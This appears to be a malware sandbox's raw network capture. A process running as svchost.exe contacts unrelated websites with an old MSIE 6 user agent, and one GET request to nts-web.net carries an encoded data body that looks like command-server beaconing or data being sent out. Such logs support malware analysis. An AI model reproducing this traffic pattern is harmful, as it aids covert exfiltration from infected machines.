2023-03-10 06:56:29 UTC	2269	IN	Data Raw: 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 73 6b 69 6e 33 37 39 7b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 3b 2f 2a 70 6f 70 75 70 20 62 61 63 6b 67 72 6f Data Ascii: tyle>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafancybox-skin379{background: rgba(255, 255, 255, 1);/*popup backgro
2023-03-10 06:56:29 UTC	2270	IN	Data Raw: 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 6c 3a 20 7b 0d 0a 09 09 09 09 6f 76 65 72 6c 61 79 20 20 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 22 20 69 64 3d 22 67 61 66 61 6e 63 79 Data Ascii: one', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tpl: {overlay : '<div class="gafancybox-overlay" id="gafancy
2023-03-10 06:56:29 UTC	2272	IN	Data Raw: 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 62 6c 6f 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 22 3e 3c 69 Data Ascii: (boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-clinica/nuestros-pacientes/blog" target="_blank" rel="noopener"><i
2023-03-10 06:56:29 UTC	2273	IN	Data Raw: 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 62 75 74 74 Data Ascii: "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock-butt
2023-03-10 06:56:29 UTC	2274	IN	Data Raw: 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b Data Ascii: e/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedblock
2023-03-10 06:56:29 UTC	2276	IN	Data Raw: 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 Data Ascii: alistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure clas
2023-03-10 06:56:29 UTC	2277	IN	Data Raw: 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 Data Ascii: e"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class="por
2023-03-10 06:56:29 UTC	2278	IN	Data Raw: 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 35 30 22 3e 0a 3c 66 6f 6f 74 65 72 20 69 64 3d 22 67 2d 66 6f 6f 74 65 72 22 3e 0a 3c 64 69 76 20 63 Data Ascii: g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><div class="g-container"> <div class="g-grid"><div class="g-block size-50"><footer id="g-footer"><div c
2023-03-10 06:56:29 UTC	2280	IN	Data Raw: 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 69 6f 20 64 65 20 41 74 65 6e 63 69 c3 b3 6e 3a 20 44 65 20 4c 75 6e 65 73 20 61 20 56 69 65 72 6e 65 73 20 64 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 31 32 3a 30 30 20 6d 20 79 20 64 65 20 32 3a 30 30 20 70 2e 6d 2e 20 61 20 36 3a 30 30 20 70 2e 6d 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 Data Ascii: encin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horario de Atencin: De Lunes a Viernes de 7:00 a.m. a 12:00 m y de 2:00 p.m. a 6:00 p.m.</br><br></br><s
2023-03-10 06:56:29 UTC	2281	IN	Data Raw: 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 50 42 58 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 50 42 58 3a 20 2b 35 37 20 36 30 37 20 Data Ascii: > </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div class="g-contact-item"><div class="g-contact-label">PBX</div> <div class="g-contact-text">PBX: +57 607
2023-03-10 06:56:29 UTC	2282	IN	Data Raw: 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 6f 74 6f 70 2d 36 38 34 36 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 Data Ascii: e" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis" /></a></div></div><div class="g-block size-33-3"><div id="totop-6846-particle" class="g-content g
2023-03-10 06:56:29 UTC	2284	IN	Data Raw: 34 34 32 0d 0a 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 20 72 69 67 68 74 3a 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 39 39 39 39 39 39 39 39 39 39 39 39 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 22 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 Data Ascii: 442e="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; bottom: 0px; right:0px; z-index:999999999999; display:block;"><script language="JavaScript" type="text/Jav
2023-03-10 06:56:29 UTC	2285	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.6	63241	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:28 UTC	2229	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 4868
2023-03-10 06:56:28 UTC	2229	OUT	Data Raw: 75 4a 56 59 65 75 44 70 37 66 44 7a 39 67 41 45 42 77 6b 4c 44 68 41 53 46 42 64 35 44 30 70 73 4c 41 66 77 44 59 45 6e 2f 68 55 58 49 55 57 39 77 71 72 48 70 6c 33 53 38 6b 67 55 56 35 6f 32 62 59 72 7a 4f 61 35 35 38 66 43 39 53 6c 55 72 58 6d 47 55 69 54 34 7a 76 37 75 5a 47 57 42 2f 47 71 51 36 54 4d 37 34 58 66 2b 59 58 76 53 51 43 4d 45 5a 55 49 46 77 64 37 4b 6a 66 69 6d 5a 59 6e 39 6a 75 53 6a 49 69 52 46 6d 32 77 56 6a 74 4d 51 37 2b 47 50 43 73 55 53 4d 50 62 5a 55 38 46 58 2b 6d 58 4a 6f 72 38 63 75 72 72 36 76 59 6f 38 52 69 72 32 77 78 58 61 4e 53 41 4b 4b 31 4b 55 67 72 46 34 55 32 47 50 6e 78 45 64 4c 45 78 63 6e 48 74 67 78 61 58 6b 59 47 4e 78 54 4b 63 50 61 63 50 39 33 50 67 43 44 2b 6e 56 42 54 53 30 67 4c 4a 73 31 57 43 77 30 4f 65 34 Data Ascii: uJVYeuDp7fDz9gAEBwkLDhASFBd5D0psLAfwDYEn/hUXIUW9wqrHpl3S8kgUV5o2bYrzOa558fC9SlUrXmGUiT4zv7uZGWB/GqQ6TM74Xf+YXvSQCMEZUIFwd7KjfimZYn9juSjIiRFm2wVjtMQ7+GPCsUSMPbZU8FX+mXJor8curr6vYo8Rir2wxXaNSAKK1KUgrF4U2GPnxEdLExcnHtgxaXkYGNxTKcPacP93PgCD+nVBTS0gLJs1WCw0Oe4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.6	63715	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:28 UTC	2234	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:28 UTC	2235	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:57:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:28 UTC	2235	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:29 UTC	2285	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:29 UTC	2301	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:29 UTC	2317	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.6	63835	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:28 UTC	2234	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:29 UTC	2317	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:33 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:33 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6%2B%2BZESbbI0aHSZ24YtiqwyEvmKXRW5TE7eTqbORTjoaazTat85oiyZv5OXYqFdmDUDX8kE2JPGVtm9b539mZhLffa3hrvCxTf5yd4sQG%2B3AH%2FEVS2GzE0mCswNi2EHT8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8750aa13684-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:29 UTC	2318	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:29 UTC	2318	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.6	63846	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:28 UTC	2234	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:29 UTC	2251	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:28 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
